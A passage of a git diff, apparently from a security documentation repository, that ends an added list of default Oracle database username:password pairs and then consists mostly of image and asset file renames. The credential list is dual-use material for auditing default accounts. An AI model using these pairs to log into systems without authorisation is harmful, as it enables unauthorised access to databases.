+WKUSER:WKUSER
+wms:wms
+WMS:WMS
+wmsys:wmsys
+WMSYS:WMSYS
+wob:wob
+WOB:WOB
+wps:wps
+WPS:WPS
+wsh:wsh
+WSH:WSH
+wsm:wsm
+WSM:WSM
+wwwuser:wwwuser
+WWWUSER:WWWUSER
+www:www
+WWW:WWW
+xademo:xademo
+XADEMO:XADEMO
+xdb:change_on_install
+XDB:CHANGE_ON_INSTALL
+XDO:XDO
+xdp:xdp
+XDP:XDP
+xla:xla
+XLA:XLA
+XLE:XLE
+XNB:XNB
+xnc:xnc
+XNC:XNC
+xni:xni
+XNI:XNI
+xnm:xnm
+XNM:XNM
+xnp:xnp
+XNP:XNP
+xns:xns
+XNS:XNS
+xprt:xprt
+XPRT:XPRT
+xtr:xtr
+XTR:XTR
+YCAMPOS:YCAMPOS
+YSANCHEZ:YSANCHEZ
+ZFA:ZFA
+ZPB:ZPB
+ZSA:ZSA
+ZX:ZX
diff --git a/.gitbook/assets/id-and-objectids-in-mongodb.png b/.gitbook/assets/id-and-objectids-in-mongodb.png
new file mode 100644
index 00000000000..9b8348bf7c0
Binary files /dev/null and b/.gitbook/assets/id-and-objectids-in-mongodb.png differ
diff --git a/src/files/iisfinal.txt b/.gitbook/assets/iisfinal.txt
similarity index 100%
rename from src/files/iisfinal.txt
rename to .gitbook/assets/iisfinal.txt
diff --git a/src/images/image (28) (1) (1).png b/.gitbook/assets/image (1).png
similarity index 100%
rename from src/images/image (28) (1) (1).png
rename to .gitbook/assets/image (1).png
diff --git a/src/images/image (595).png b/.gitbook/assets/image (10).png
similarity index 100%
rename from src/images/image (595).png
rename to .gitbook/assets/image (10).png
diff --git a/src/images/image (277).png b/.gitbook/assets/image (100).png
similarity index 100%
rename from src/images/image (277).png
rename to .gitbook/assets/image (100).png
diff --git a/.gitbook/assets/image (101).png b/.gitbook/assets/image (101).png
new file mode 100644
index 00000000000..ad148394b77
Binary files /dev/null and b/.gitbook/assets/image (101).png differ
diff --git a/src/images/image (1090).png b/.gitbook/assets/image (102).png
similarity index 100%
rename from src/images/image (1090).png
rename to .gitbook/assets/image (102).png
diff --git a/src/images/image (872).png b/.gitbook/assets/image (103).png
similarity index 100%
rename from src/images/image (872).png
rename to .gitbook/assets/image (103).png
diff --git a/src/images/image (5) (1) (1) (2) (1).png b/.gitbook/assets/image (104).png
similarity index 100%
rename from src/images/image (5) (1) (1) (2) (1).png
rename to .gitbook/assets/image (104).png
diff --git a/.gitbook/assets/image (105).png b/.gitbook/assets/image (105).png
new file mode 100644
index 00000000000..a2f6967a818
Binary files /dev/null and b/.gitbook/assets/image (105).png differ
diff --git a/src/images/image (482).png b/.gitbook/assets/image (106).png
similarity index 100%
rename from src/images/image (482).png
rename to .gitbook/assets/image (106).png
diff --git a/src/images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png b/.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1).png
similarity index 100%
rename from src/images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png
rename to .gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1).png
diff --git a/.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (2).png b/.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (2).png
new file mode 100644
index 00000000000..5c4892619c2
Binary files /dev/null and b/.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (2).png differ
diff --git a/.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1).png b/.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1).png
new file mode 100644
index 00000000000..5c4892619c2
Binary files /dev/null and b/.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1).png differ
diff --git a/src/images/image (378).png b/.gitbook/assets/image (107).png
similarity index 100%
rename from src/images/image (378).png
rename to .gitbook/assets/image (107).png
diff --git a/src/images/image (427).png b/.gitbook/assets/image (108).png
similarity index 100%
rename from src/images/image (427).png
rename to .gitbook/assets/image (108).png
diff --git a/.gitbook/assets/image (109).png b/.gitbook/assets/image (109).png
new file mode 100644
index 00000000000..94ac7e19c11
Binary files /dev/null and b/.gitbook/assets/image (109).png differ
diff --git a/src/images/image (629).png b/.gitbook/assets/image (11).png
similarity index 100%
rename from src/images/image (629).png
rename to .gitbook/assets/image (11).png
diff --git a/src/images/image (573).png b/.gitbook/assets/image (110).png
similarity index 100%
rename from src/images/image (573).png
rename to .gitbook/assets/image (110).png
diff --git a/src/images/image (24) (1) (1).png b/.gitbook/assets/image (111).png
similarity index 100%
rename from src/images/image (24) (1) (1).png
rename to .gitbook/assets/image (111).png
diff --git a/src/images/image (858).png b/.gitbook/assets/image (112).png
similarity index 100%
rename from src/images/image (858).png
rename to .gitbook/assets/image (112).png
diff --git a/src/images/image (298).png b/.gitbook/assets/image (113).png
similarity index 100%
rename from src/images/image (298).png
rename to .gitbook/assets/image (113).png
diff --git a/.gitbook/assets/image (114).png b/.gitbook/assets/image (114).png
new file mode 100644
index 00000000000..add6a58e923
Binary files /dev/null and b/.gitbook/assets/image (114).png differ
diff --git a/src/images/image (414).png b/.gitbook/assets/image (115).png
similarity index 100%
rename from src/images/image (414).png
rename to .gitbook/assets/image (115).png
diff --git a/src/images/image (892).png b/.gitbook/assets/image (116).png
similarity index 100%
rename from src/images/image (892).png
rename to .gitbook/assets/image (116).png
diff --git a/.gitbook/assets/image (117).png b/.gitbook/assets/image (117).png
new file mode 100644
index 00000000000..c71025f8582
Binary files /dev/null and b/.gitbook/assets/image (117).png differ
diff --git a/src/images/image (856).png b/.gitbook/assets/image (118).png
similarity index 100%
rename from src/images/image (856).png
rename to .gitbook/assets/image (118).png
diff --git a/src/images/image (119) (1).png b/.gitbook/assets/image (119) (1).png
similarity index 100%
rename from src/images/image (119) (1).png
rename to .gitbook/assets/image (119) (1).png
diff --git a/.gitbook/assets/image (119).png b/.gitbook/assets/image (119).png
new file mode 100644
index 00000000000..e2f82d4dfbc
Binary files /dev/null and b/.gitbook/assets/image (119).png differ
diff --git a/src/images/image (346).png b/.gitbook/assets/image (12).png
similarity index 100%
rename from src/images/image (346).png
rename to .gitbook/assets/image (12).png
diff --git a/src/images/image (850).png b/.gitbook/assets/image (120).png
similarity index 100%
rename from src/images/image (850).png
rename to .gitbook/assets/image (120).png
diff --git a/src/images/image (121) (1) (1) (1).png b/.gitbook/assets/image (121) (1) (1) (1).png
similarity index 100%
rename from src/images/image (121) (1) (1) (1).png
rename to .gitbook/assets/image (121) (1) (1) (1).png
diff --git a/.gitbook/assets/image (121) (1) (1).png b/.gitbook/assets/image (121) (1) (1).png
new file mode 100644
index 00000000000..a2ff0852c52
Binary files /dev/null and b/.gitbook/assets/image (121) (1) (1).png differ
diff --git a/src/images/image (833).png b/.gitbook/assets/image (121).png
similarity index 100%
rename from src/images/image (833).png
rename to .gitbook/assets/image (121).png
diff --git a/.gitbook/assets/image (122).png b/.gitbook/assets/image (122).png
new file mode 100644
index 00000000000..78cc16af337
Binary files /dev/null and b/.gitbook/assets/image (122).png differ
diff --git a/src/images/image (567).png b/.gitbook/assets/image (123).png
similarity index 100%
rename from src/images/image (567).png
rename to .gitbook/assets/image (123).png
diff --git a/src/images/image (36) (1).png b/.gitbook/assets/image (124).png
similarity index 100%
rename from src/images/image (36) (1).png
rename to .gitbook/assets/image (124).png
diff --git a/src/images/image (384).png b/.gitbook/assets/image (125).png
similarity index 100%
rename from src/images/image (384).png
rename to .gitbook/assets/image (125).png
diff --git a/src/images/image (837).png b/.gitbook/assets/image (126).png
similarity index 100%
rename from src/images/image (837).png
rename to .gitbook/assets/image (126).png
diff --git a/src/images/image (365).png b/.gitbook/assets/image (127).png
similarity index 100%
rename from src/images/image (365).png
rename to .gitbook/assets/image (127).png
diff --git a/src/images/image (883).png b/.gitbook/assets/image (128).png
similarity index 100%
rename from src/images/image (883).png
rename to .gitbook/assets/image (128).png
diff --git a/.gitbook/assets/image (129).png b/.gitbook/assets/image (129).png
new file mode 100644
index 00000000000..22f23086081
Binary files /dev/null and b/.gitbook/assets/image (129).png differ
diff --git a/src/images/image (393).png b/.gitbook/assets/image (13).png
similarity index 100%
rename from src/images/image (393).png
rename to .gitbook/assets/image (13).png
diff --git a/src/images/image (339).png b/.gitbook/assets/image (130).png
similarity index 100%
rename from src/images/image (339).png
rename to .gitbook/assets/image (130).png
diff --git a/src/images/image (294).png b/.gitbook/assets/image (131).png
similarity index 100%
rename from src/images/image (294).png
rename to .gitbook/assets/image (131).png
diff --git a/.gitbook/assets/image (132).png b/.gitbook/assets/image (132).png
new file mode 100644
index 00000000000..ca253d23278
Binary files /dev/null and b/.gitbook/assets/image (132).png differ
diff --git a/src/images/image (95).png b/.gitbook/assets/image (133).png
similarity index 100%
rename from src/images/image (95).png
rename to .gitbook/assets/image (133).png
diff --git a/src/images/image (23) (1).png b/.gitbook/assets/image (134).png
similarity index 100%
rename from src/images/image (23) (1).png
rename to .gitbook/assets/image (134).png
diff --git a/.gitbook/assets/image (135).png b/.gitbook/assets/image (135).png
new file mode 100644
index 00000000000..55ab26cc8c9
Binary files /dev/null and b/.gitbook/assets/image (135).png differ
diff --git a/.gitbook/assets/image (136).png b/.gitbook/assets/image (136).png
new file mode 100644
index 00000000000..6c35b704119
Binary files /dev/null and b/.gitbook/assets/image (136).png differ
diff --git a/.gitbook/assets/image (137).png b/.gitbook/assets/image (137).png
new file mode 100644
index 00000000000..541196b6434
Binary files /dev/null and b/.gitbook/assets/image (137).png differ
diff --git a/src/images/image (880).png b/.gitbook/assets/image (138).png
similarity index 100%
rename from src/images/image (880).png
rename to .gitbook/assets/image (138).png
diff --git a/src/images/image (146).png b/.gitbook/assets/image (139).png
similarity index 100%
rename from src/images/image (146).png
rename to .gitbook/assets/image (139).png
diff --git a/src/images/image (1041).png b/.gitbook/assets/image (14).png
similarity index 100%
rename from src/images/image (1041).png
rename to .gitbook/assets/image (14).png
diff --git a/.gitbook/assets/image (140).png b/.gitbook/assets/image (140).png
new file mode 100644
index 00000000000..d92f5e31af5
Binary files /dev/null and b/.gitbook/assets/image (140).png differ
diff --git a/.gitbook/assets/image (141).png b/.gitbook/assets/image (141).png
new file mode 100644
index 00000000000..969420a3a36
Binary files /dev/null and b/.gitbook/assets/image (141).png differ
diff --git a/.gitbook/assets/image (142).png b/.gitbook/assets/image (142).png
new file mode 100644
index 00000000000..8e0dc4899ac
Binary files /dev/null and b/.gitbook/assets/image (142).png differ
diff --git a/src/images/image (809).png b/.gitbook/assets/image (143).png
similarity index 100%
rename from src/images/image (809).png
rename to .gitbook/assets/image (143).png
diff --git a/src/images/image (529).png b/.gitbook/assets/image (144).png
similarity index 100%
rename from src/images/image (529).png
rename to .gitbook/assets/image (144).png
diff --git a/.gitbook/assets/image (145).png b/.gitbook/assets/image (145).png
new file mode 100644
index 00000000000..20e6e56957a
Binary files /dev/null and b/.gitbook/assets/image (145).png differ
diff --git a/.gitbook/assets/image (146).png b/.gitbook/assets/image (146).png
new file mode 100644
index 00000000000..8e8243c5459
Binary files /dev/null and b/.gitbook/assets/image (146).png differ
diff --git a/src/images/image (230).png b/.gitbook/assets/image (147).png
similarity index 100%
rename from src/images/image (230).png
rename to .gitbook/assets/image (147).png
diff --git a/.gitbook/assets/image (148).png b/.gitbook/assets/image (148).png
new file mode 100644
index 00000000000..c2205b3560b
Binary files /dev/null and b/.gitbook/assets/image (148).png differ
diff --git a/src/images/image (218) (1).png b/.gitbook/assets/image (149).png
similarity index 100%
rename from src/images/image (218) (1).png
rename to .gitbook/assets/image (149).png
diff --git a/.gitbook/assets/image (15).png b/.gitbook/assets/image (15).png
new file mode 100644
index 00000000000..57fb0fd563d
Binary files /dev/null and b/.gitbook/assets/image (15).png differ
diff --git a/.gitbook/assets/image (150).png b/.gitbook/assets/image (150).png
new file mode 100644
index 00000000000..b28be54fe42
Binary files /dev/null and b/.gitbook/assets/image (150).png differ
diff --git a/src/images/image (928).png b/.gitbook/assets/image (151).png
similarity index 100%
rename from src/images/image (928).png
rename to .gitbook/assets/image (151).png
diff --git a/src/images/image (369).png b/.gitbook/assets/image (152).png
similarity index 100%
rename from src/images/image (369).png
rename to .gitbook/assets/image (152).png
diff --git a/src/images/image (344).png b/.gitbook/assets/image (153).png
similarity index 100%
rename from src/images/image (344).png
rename to .gitbook/assets/image (153).png
diff --git a/.gitbook/assets/image (154).png b/.gitbook/assets/image (154).png
new file mode 100644
index 00000000000..c307d4fc69f
Binary files /dev/null and b/.gitbook/assets/image (154).png differ
diff --git a/src/images/image (123).png b/.gitbook/assets/image (155).png
similarity index 100%
rename from src/images/image (123).png
rename to .gitbook/assets/image (155).png
diff --git a/src/images/image (173).png b/.gitbook/assets/image (156).png
similarity index 100%
rename from src/images/image (173).png
rename to .gitbook/assets/image (156).png
diff --git a/.gitbook/assets/image (157).png b/.gitbook/assets/image (157).png
new file mode 100644
index 00000000000..10d38e595e9
Binary files /dev/null and b/.gitbook/assets/image (157).png differ
diff --git a/src/images/image (406).png b/.gitbook/assets/image (158).png
similarity index 100%
rename from src/images/image (406).png
rename to .gitbook/assets/image (158).png
diff --git a/src/images/image (363).png b/.gitbook/assets/image (159).png
similarity index 100%
rename from src/images/image (363).png
rename to .gitbook/assets/image (159).png
diff --git a/src/images/image (221).png b/.gitbook/assets/image (16).png
similarity index 100%
rename from src/images/image (221).png
rename to .gitbook/assets/image (16).png
diff --git a/src/images/image (1131).png b/.gitbook/assets/image (160).png
similarity index 100%
rename from src/images/image (1131).png
rename to .gitbook/assets/image (160).png
diff --git a/src/images/image (844).png b/.gitbook/assets/image (161).png
similarity index 100%
rename from src/images/image (844).png
rename to .gitbook/assets/image (161).png
diff --git a/src/images/image (416).png b/.gitbook/assets/image (162).png
similarity index 100%
rename from src/images/image (416).png
rename to .gitbook/assets/image (162).png
diff --git a/src/images/image (780).png b/.gitbook/assets/image (163).png
similarity index 100%
rename from src/images/image (780).png
rename to .gitbook/assets/image (163).png
diff --git a/src/images/image (263).png b/.gitbook/assets/image (164).png
similarity index 100%
rename from src/images/image (263).png
rename to .gitbook/assets/image (164).png
diff --git a/.gitbook/assets/image (165).png b/.gitbook/assets/image (165).png
new file mode 100644
index 00000000000..b9465118c5f
Binary files /dev/null and b/.gitbook/assets/image (165).png differ
diff --git a/src/images/image (318).png b/.gitbook/assets/image (166).png
similarity index 100%
rename from src/images/image (318).png
rename to .gitbook/assets/image (166).png
diff --git a/src/images/image (840).png b/.gitbook/assets/image (167).png
similarity index 100%
rename from src/images/image (840).png
rename to .gitbook/assets/image (167).png
diff --git a/src/images/image (491).png b/.gitbook/assets/image (168).png
similarity index 100%
rename from src/images/image (491).png
rename to .gitbook/assets/image (168).png
diff --git a/src/images/image (851).png b/.gitbook/assets/image (169).png
similarity index 100%
rename from src/images/image (851).png
rename to .gitbook/assets/image (169).png
diff --git a/src/images/image (617).png b/.gitbook/assets/image (17).png
similarity index 100%
rename from src/images/image (617).png
rename to .gitbook/assets/image (17).png
diff --git a/.gitbook/assets/image (170).png b/.gitbook/assets/image (170).png
new file mode 100644
index 00000000000..b85d58bb756
Binary files /dev/null and b/.gitbook/assets/image (170).png differ
diff --git a/.gitbook/assets/image (171).png b/.gitbook/assets/image (171).png
new file mode 100644
index 00000000000..3829e247c4a
Binary files /dev/null and b/.gitbook/assets/image (171).png differ
diff --git a/src/images/image (172) (1).png b/.gitbook/assets/image (172) (1) (1).png
similarity index 100%
rename from src/images/image (172) (1).png
rename to .gitbook/assets/image (172) (1) (1).png
diff --git a/.gitbook/assets/image (172) (1).png b/.gitbook/assets/image (172) (1).png
new file mode 100644
index 00000000000..a3dddc9a036
Binary files /dev/null and b/.gitbook/assets/image (172) (1).png differ
diff --git a/.gitbook/assets/image (172).png b/.gitbook/assets/image (172).png
new file mode 100644
index 00000000000..d9cc3ba4658
Binary files /dev/null and b/.gitbook/assets/image (172).png differ
diff --git a/.gitbook/assets/image (173).png b/.gitbook/assets/image (173).png
new file mode 100644
index 00000000000..0486c2a5e9c
Binary files /dev/null and b/.gitbook/assets/image (173).png differ
diff --git a/.gitbook/assets/image (174).png b/.gitbook/assets/image (174).png
new file mode 100644
index 00000000000..6353bf4cc5a
Binary files /dev/null and b/.gitbook/assets/image (174).png differ
diff --git a/.gitbook/assets/image (175).png b/.gitbook/assets/image (175).png
new file mode 100644
index 00000000000..c29de7533a5
Binary files /dev/null and b/.gitbook/assets/image (175).png differ
diff --git a/src/images/image (159).png b/.gitbook/assets/image (176).png
similarity index 100%
rename from src/images/image (159).png
rename to .gitbook/assets/image (176).png
diff --git a/src/images/image (897).png b/.gitbook/assets/image (177).png
similarity index 100%
rename from src/images/image (897).png
rename to .gitbook/assets/image (177).png
diff --git a/src/images/image (596).png b/.gitbook/assets/image (178).png
similarity index 100%
rename from src/images/image (596).png
rename to .gitbook/assets/image (178).png
diff --git a/src/images/image (691).png b/.gitbook/assets/image (179).png
similarity index 100%
rename from src/images/image (691).png
rename to .gitbook/assets/image (179).png
diff --git a/src/images/image (479).png b/.gitbook/assets/image (18).png
similarity index 100%
rename from src/images/image (479).png
rename to .gitbook/assets/image (18).png
diff --git a/.gitbook/assets/image (180).png b/.gitbook/assets/image (180).png
new file mode 100644
index 00000000000..a452e6ad8e1
Binary files /dev/null and b/.gitbook/assets/image (180).png differ
diff --git a/src/images/image (842).png b/.gitbook/assets/image (181).png
similarity index 100%
rename from src/images/image (842).png
rename to .gitbook/assets/image (181).png
diff --git a/.gitbook/assets/image (182).png b/.gitbook/assets/image (182).png
new file mode 100644
index 00000000000..1bd1dc97e50
Binary files /dev/null and b/.gitbook/assets/image (182).png differ
diff --git a/src/images/image (319).png b/.gitbook/assets/image (183).png
similarity index 100%
rename from src/images/image (319).png
rename to .gitbook/assets/image (183).png
diff --git a/src/images/image (386).png b/.gitbook/assets/image (184).png
similarity index 100%
rename from src/images/image (386).png
rename to .gitbook/assets/image (184).png
diff --git a/.gitbook/assets/image (185).png b/.gitbook/assets/image (185).png
new file mode 100644
index 00000000000..addb8bddecb
Binary files /dev/null and b/.gitbook/assets/image (185).png differ
diff --git a/.gitbook/assets/image (186).png b/.gitbook/assets/image (186).png
new file mode 100644
index 00000000000..87438bb2469
Binary files /dev/null and b/.gitbook/assets/image (186).png differ
diff --git a/src/images/image (419).png b/.gitbook/assets/image (187).png
similarity index 100%
rename from src/images/image (419).png
rename to .gitbook/assets/image (187).png
diff --git a/src/images/image (1007).png b/.gitbook/assets/image (188).png
similarity index 100%
rename from src/images/image (1007).png
rename to .gitbook/assets/image (188).png
diff --git a/src/images/image (936).png b/.gitbook/assets/image (189).png
similarity index 100%
rename from src/images/image (936).png
rename to .gitbook/assets/image (189).png
diff --git a/src/images/image (151).png b/.gitbook/assets/image (19).png
similarity index 100%
rename from src/images/image (151).png
rename to .gitbook/assets/image (19).png
diff --git a/src/images/image (430).png b/.gitbook/assets/image (190).png
similarity index 100%
rename from src/images/image (430).png
rename to .gitbook/assets/image (190).png
diff --git a/src/images/image (989).png b/.gitbook/assets/image (191).png
similarity index 100%
rename from src/images/image (989).png
rename to .gitbook/assets/image (191).png
diff --git a/src/images/image (130).png b/.gitbook/assets/image (192).png
similarity index 100%
rename from src/images/image (130).png
rename to .gitbook/assets/image (192).png
diff --git a/src/images/image (459).png b/.gitbook/assets/image (193).png
similarity index 100%
rename from src/images/image (459).png
rename to .gitbook/assets/image (193).png
diff --git a/.gitbook/assets/image (194).png b/.gitbook/assets/image (194).png
new file mode 100644
index 00000000000..afa3c6edc61
Binary files /dev/null and b/.gitbook/assets/image (194).png differ
diff --git a/.gitbook/assets/image (195).png b/.gitbook/assets/image (195).png
new file mode 100644
index 00000000000..e8aabc7a050
Binary files /dev/null and b/.gitbook/assets/image (195).png differ
diff --git a/.gitbook/assets/image (196).png b/.gitbook/assets/image (196).png
new file mode 100644
index 00000000000..09612a67702
Binary files /dev/null and b/.gitbook/assets/image (196).png differ
diff --git a/.gitbook/assets/image (197).png b/.gitbook/assets/image (197).png
new file mode 100644
index 00000000000..72371bfcb05
Binary files /dev/null and b/.gitbook/assets/image (197).png differ
diff --git a/src/images/image (513).png b/.gitbook/assets/image (198).png
similarity index 100%
rename from src/images/image (513).png
rename to .gitbook/assets/image (198).png
diff --git a/src/images/image (539).png b/.gitbook/assets/image (199).png
similarity index 100%
rename from src/images/image (539).png
rename to .gitbook/assets/image (199).png
diff --git a/src/images/image (142).png b/.gitbook/assets/image (2).png
similarity index 100%
rename from src/images/image (142).png
rename to .gitbook/assets/image (2).png
diff --git a/src/images/image (870).png b/.gitbook/assets/image (20).png
similarity index 100%
rename from src/images/image (870).png
rename to .gitbook/assets/image (20).png
diff --git a/src/images/image (1072).png b/.gitbook/assets/image (200).png
similarity index 100%
rename from src/images/image (1072).png
rename to .gitbook/assets/image (200).png
diff --git a/src/images/image (219).png b/.gitbook/assets/image (201) (1).png
similarity index 100%
rename from src/images/image (219).png
rename to .gitbook/assets/image (201) (1).png
diff --git a/.gitbook/assets/image (201).png b/.gitbook/assets/image (201).png
new file mode 100644
index 00000000000..0cedb9f7717
Binary files /dev/null and b/.gitbook/assets/image (201).png differ
diff --git a/.gitbook/assets/image (202) (1).png b/.gitbook/assets/image (202) (1).png
new file mode 100644
index 00000000000..8e19d2b5a94
Binary files /dev/null and b/.gitbook/assets/image (202) (1).png differ
diff --git a/.gitbook/assets/image (202).png b/.gitbook/assets/image (202).png
new file mode 100644
index 00000000000..8e19d2b5a94
Binary files /dev/null and b/.gitbook/assets/image (202).png differ
diff --git a/src/images/image (110).png b/.gitbook/assets/image (203).png
similarity index 100%
rename from src/images/image (110).png
rename to .gitbook/assets/image (203).png
diff --git a/src/images/image (383).png b/.gitbook/assets/image (204).png
similarity index 100%
rename from src/images/image (383).png
rename to .gitbook/assets/image (204).png
diff --git a/src/images/image (228).png b/.gitbook/assets/image (205).png
similarity index 100%
rename from src/images/image (228).png
rename to .gitbook/assets/image (205).png
diff --git a/src/images/image (458).png b/.gitbook/assets/image (206).png
similarity index 100%
rename from src/images/image (458).png
rename to .gitbook/assets/image (206).png
diff --git a/.gitbook/assets/image (207) (1) (1).png b/.gitbook/assets/image (207) (1) (1).png
new file mode 100644
index 00000000000..aab930e918c
Binary files /dev/null and b/.gitbook/assets/image (207) (1) (1).png differ
diff --git a/.gitbook/assets/image (207) (1).png b/.gitbook/assets/image (207) (1).png
new file mode 100644
index 00000000000..aab930e918c
Binary files /dev/null and b/.gitbook/assets/image (207) (1).png differ
diff --git a/src/images/image (207) (2) (1).png b/.gitbook/assets/image (207) (2) (1).png
similarity index 100%
rename from src/images/image (207) (2) (1).png
rename to .gitbook/assets/image (207) (2) (1).png
diff --git a/.gitbook/assets/image (207) (2).png b/.gitbook/assets/image (207) (2).png
new file mode 100644
index 00000000000..0b9297559b5
Binary files /dev/null and b/.gitbook/assets/image (207) (2).png differ
diff --git a/src/images/image (192).png b/.gitbook/assets/image (207).png
similarity index 100%
rename from src/images/image (192).png
rename to .gitbook/assets/image (207).png
diff --git a/src/images/image (463).png b/.gitbook/assets/image (208).png
similarity index 100%
rename from src/images/image (463).png
rename to .gitbook/assets/image (208).png
diff --git a/.gitbook/assets/image (209) (1).png b/.gitbook/assets/image (209) (1).png
new file mode 100644
index 00000000000..09c2fd99135
Binary files /dev/null and b/.gitbook/assets/image (209) (1).png differ
diff --git a/.gitbook/assets/image (209).png b/.gitbook/assets/image (209).png
new file mode 100644
index 00000000000..09c2fd99135
Binary files /dev/null and b/.gitbook/assets/image (209).png differ
diff --git a/.gitbook/assets/image (21).png b/.gitbook/assets/image (21).png
new file mode 100644
index 00000000000..7116489700d
Binary files /dev/null and b/.gitbook/assets/image (21).png differ
diff --git a/src/images/image (132).png b/.gitbook/assets/image (210).png
similarity index 100%
rename from src/images/image (132).png
rename to .gitbook/assets/image (210).png
diff --git a/src/images/image (887).png b/.gitbook/assets/image (211).png
similarity index 100%
rename from src/images/image (887).png
rename to .gitbook/assets/image (211).png
diff --git a/.gitbook/assets/image (212).png b/.gitbook/assets/image (212).png
new file mode 100644
index 00000000000..6a44bdf3987
Binary files /dev/null and b/.gitbook/assets/image (212).png differ
diff --git a/src/images/image (299).png b/.gitbook/assets/image (213).png
similarity index 100%
rename from src/images/image (299).png
rename to .gitbook/assets/image (213).png
diff --git a/.gitbook/assets/image (214).png b/.gitbook/assets/image (214).png
new file mode 100644
index 00000000000..e5213761ae6
Binary files /dev/null and b/.gitbook/assets/image (214).png differ
diff --git a/src/images/image (215) (1) (1).png b/.gitbook/assets/image (215) (1) (1).png
similarity index 100%
rename from src/images/image (215) (1) (1).png
rename to .gitbook/assets/image (215) (1) (1).png
diff --git a/.gitbook/assets/image (215) (1).png b/.gitbook/assets/image (215) (1).png
new file mode 100644
index 00000000000..83837382a41
Binary files /dev/null and b/.gitbook/assets/image (215) (1).png differ
diff --git a/src/images/image (531).png b/.gitbook/assets/image (215).png
similarity index 100%
rename from src/images/image (531).png
rename to .gitbook/assets/image (215).png
diff --git a/src/images/image (922).png b/.gitbook/assets/image (216).png
similarity index 100%
rename from src/images/image (922).png
rename to .gitbook/assets/image (216).png
diff --git a/src/images/image (111).png b/.gitbook/assets/image (217).png
similarity index 100%
rename from src/images/image (111).png
rename to .gitbook/assets/image (217).png
diff --git a/.gitbook/assets/image (218).png b/.gitbook/assets/image (218).png
new file mode 100644
index 00000000000..ab70de9f825
Binary files /dev/null and b/.gitbook/assets/image (218).png differ
diff --git a/src/images/image (1036).png b/.gitbook/assets/image (219).png
similarity index 100%
rename from src/images/image (1036).png
rename to .gitbook/assets/image (219).png
diff --git a/src/images/image (25) (1) (1).png b/.gitbook/assets/image (22).png
similarity index 100%
rename from src/images/image (25) (1) (1).png
rename to .gitbook/assets/image (22).png
diff --git a/src/images/image (342).png b/.gitbook/assets/image (220).png
similarity index 100%
rename from src/images/image (342).png
rename to .gitbook/assets/image (220).png
diff --git a/.gitbook/assets/image (221).png b/.gitbook/assets/image (221).png
new file mode 100644
index 00000000000..379b82ca3f8
Binary files /dev/null and b/.gitbook/assets/image (221).png differ
diff --git a/src/images/image (286).png b/.gitbook/assets/image (222).png
similarity index 100%
rename from src/images/image (286).png
rename to .gitbook/assets/image (222).png
diff --git a/src/images/image (1095).png b/.gitbook/assets/image (223).png
similarity index 100%
rename from src/images/image (1095).png
rename to .gitbook/assets/image (223).png
diff --git a/src/images/image (721).png b/.gitbook/assets/image (224).png
similarity index 100%
rename from src/images/image (721).png
rename to .gitbook/assets/image (224).png
diff --git a/src/images/image (82).png b/.gitbook/assets/image (225).png
similarity index 100%
rename from src/images/image (82).png
rename to .gitbook/assets/image (225).png
diff --git a/.gitbook/assets/image (226).png b/.gitbook/assets/image (226).png
new file mode 100644
index 00000000000..d3370cd6f40
Binary files /dev/null and b/.gitbook/assets/image (226).png differ
diff --git a/.gitbook/assets/image (227) (1) (1) (1).png b/.gitbook/assets/image (227) (1) (1) (1).png
new file mode 100644
index 00000000000..74cc125b1d2
Binary files /dev/null and b/.gitbook/assets/image (227) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (227) (1) (1).png b/.gitbook/assets/image (227) (1) (1).png
new file mode 100644
index 00000000000..74cc125b1d2
Binary files /dev/null and b/.gitbook/assets/image (227) (1) (1).png differ
diff --git a/src/images/image (549).png b/.gitbook/assets/image (227).png
similarity index 100%
rename from src/images/image (549).png
rename to .gitbook/assets/image (227).png
diff --git a/.gitbook/assets/image (228).png b/.gitbook/assets/image (228).png
new file mode 100644
index 00000000000..f809ea85502
Binary files /dev/null and b/.gitbook/assets/image (228).png differ
diff --git a/src/images/image (564).png b/.gitbook/assets/image (229).png
similarity index 100%
rename from src/images/image (564).png
rename to .gitbook/assets/image (229).png
diff --git a/src/images/image (831).png b/.gitbook/assets/image (23).png
similarity index 100%
rename from src/images/image (831).png
rename to .gitbook/assets/image (23).png
diff --git a/src/images/image (582).png b/.gitbook/assets/image (230).png
similarity index 100%
rename from src/images/image (582).png
rename to .gitbook/assets/image (230).png
diff --git a/.gitbook/assets/image (231).png b/.gitbook/assets/image (231).png
new file mode 100644
index 00000000000..e9582b39a31
Binary files /dev/null and b/.gitbook/assets/image (231).png differ
diff --git a/src/images/image (322).png b/.gitbook/assets/image (232).png
similarity index 100%
rename from src/images/image (322).png
rename to .gitbook/assets/image (232).png
diff --git a/src/images/image (1) (2) (1) (1) (1).png b/.gitbook/assets/image (233).png
similarity index 100%
rename from src/images/image (1) (2) (1) (1) (1).png
rename to .gitbook/assets/image (233).png
diff --git a/src/images/image (745).png b/.gitbook/assets/image (234).png
similarity index 100%
rename from src/images/image (745).png
rename to .gitbook/assets/image (234).png
diff --git a/.gitbook/assets/image (235).png b/.gitbook/assets/image (235).png
new file mode 100644
index 00000000000..06900bd5834
Binary files /dev/null and b/.gitbook/assets/image (235).png differ
diff --git a/.gitbook/assets/image (236).png b/.gitbook/assets/image (236).png
new file mode 100644
index 00000000000..7510b6e7e73
Binary files /dev/null and b/.gitbook/assets/image (236).png differ
diff --git a/src/images/image (415).png b/.gitbook/assets/image (237).png
similarity index 100%
rename from src/images/image (415).png
rename to .gitbook/assets/image (237).png
diff --git a/src/images/image (424).png b/.gitbook/assets/image (238).png
similarity index 100%
rename from src/images/image (424).png
rename to .gitbook/assets/image (238).png
